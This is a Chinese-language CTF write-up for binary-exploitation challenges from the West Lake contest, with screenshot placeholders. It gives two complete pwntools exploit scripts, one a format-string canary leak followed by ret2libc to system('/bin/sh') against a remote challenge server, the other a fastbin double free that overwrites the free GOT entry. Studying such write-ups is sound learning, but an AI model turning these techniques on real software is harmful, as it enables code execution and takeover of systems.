西湖论剑 pwn题解析(持续更新中)

这篇文章是我在我志琦哥 我们工作室 负责人 旁边 我俩上数据库课  我看着他一步一步 搞出来的 

太强了      不过现在应该还在和我一样自闭中。。。

这个题 有 

西湖论剑 pwn题解析(持续更新中)_第1张图片

canary 保护   然后这个题  思路就是  找到 canary的偏移 然后泄露libc 库 然后  获取 system  地址 

x64 要找 pop

西湖论剑 pwn题解析(持续更新中)_第2张图片

这里 获取到 puts函数的地址

西湖论剑 pwn题解析(持续更新中)_第3张图片

但是这个题 并没有给我 lib库 我只能 自己用文件夹找  然后找到了  find    但是呢  我看我志琦哥用的是

one_gadget  但是 感觉 one_gadget 会有问题 我都是 能用 system 就用system 

还有一点就是 题目没有给so库 那么我们可以根据泄露出的函数地址来找so库

西湖论剑 pwn题解析(持续更新中)_第4张图片

最后得出flag

西湖论剑 pwn题解析(持续更新中)_第5张图片

exp

from pwn import*
io=remote('61.164.47.198',10005)
elf=ELF('./pwn')
libc=ELF('./libc6_2.23.so')
lib_system=libc.symbols['system']
fun_main=0x4009A0
put_got=elf.got['puts']
put_plt=elf.plt['puts']
pop_rdi=0x400bd3

io.recvuntil('Please Tell Your ID:')
io.sendline("%15$p")
io.recvuntil('Hello ')
can_addr=int(io.recv(18)[2:],16)
print hex(can_addr)


payload='a'*136+p64(can_addr)+p64(0)+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(fun_main)

io.recvuntil('Tell me the size of your story:')
io.sendline('1000')
io.recvuntil('You can speak your story:')
io.sendline(payload)

print io.recv()
put_addr=u64(io.recv(6)+'\00'+'\00')
print hex(put_addr)#
#  main
libc_base=put_addr-libc.symbols['puts']

sysyem_addr=lib_system+libc_base

bin_addr = libc_base + libc.search('/bin/sh').next()


io.recvuntil('Tell me the size of your story:')
io.sendline('1000')

io.recvuntil('You can speak your story:')

payload='a'*136+p64(can_addr)+p64(0)+p64(pop_rdi)+p64(bin_addr)+p64(sysyem_addr)
io.sendline(payload)

io.interactive()

io.close()

然后。。 这个题 是根据大佬的博客写的 但是大佬的博客没有详解 我详解一下 大佬博客地址

https://www.jianshu.com/p/c14970447ddd

我真滴菜~~~   这篇博客 还是和研究所大二负责人  志琦大佬  才明白的  虽然 有一部分原因是自己 有点晕了 但是 还是对堆的理解不够  

第一开始 我是不是很理解的是 为什么0号非要0x30 换成0x20 或者0x10 就就不可以

然后我gdb 调试了一下

西湖论剑 pwn题解析(持续更新中)_第6张图片

这个0x30 显而易见的是 

西湖论剑 pwn题解析(持续更新中)_第7张图片

所以 我们需要0x30。。。。。 要不然 堆的大小不对会直接报错。。

fd 的变化  成功leak

西湖论剑 pwn题解析(持续更新中)_第8张图片

然后因为堆认为自己申请到了 存放内容的地址是 0x6010b0  所以 

西湖论剑 pwn题解析(持续更新中)_第9张图片

这里地址对应的是 heap_list   [heap_list[2*6] ]=heap_list[2*1]

然后就是对应写出wp  就可以了  我真的太菜了 菜哭了 这个博客的exp 是按照上面那个链接写的 。。

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
io = process('./noinfoleak')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
elf=ELF('./noinfoleak')
free_offest=0x601018
heap_list_addr=0x6010A0
def add(size,con):
	io.sendlineafter('>','1')
	io.sendlineafter('>',str(size))
	io.sendlineafter('>',con)
def dele(index):
	io.sendlineafter('>','2')
	io.sendlineafter('>',str(index))

def edit(index,con):
	io.sendlineafter('>','3')
	io.sendlineafter('>',str(index))
	io.sendafter('>',con)

if __name__ =='__main__':
	add(0x30,'/bin/sh\x00')
	add(0x20,'aaaa')
	add(0x20,'aaaa')

	dele(1)
	dele(2)
	dele(1)

	add(0x20,p64(heap_list_addr))
	add(0x20,'aaaa')
	add(0x20,'aaaa')
	add(0x20,p64(free_offest))

	edit(1,p64(elf.plt['puts']))
	edit(6,p64(elf.got['puts']))
	dele(1)

	libc_base=u64(io.recvline()[:-1].ljust(8,'\x00'))-libc.symbols['puts']
	system_addr=libc_base+libc.symbols['system']

	edit(6,p64(elf.got['free']))
	edit(1,p64(system_addr))
	dele(0)

	io.interactive()

 

你可能感兴趣的:(栈溢出,堆溢出)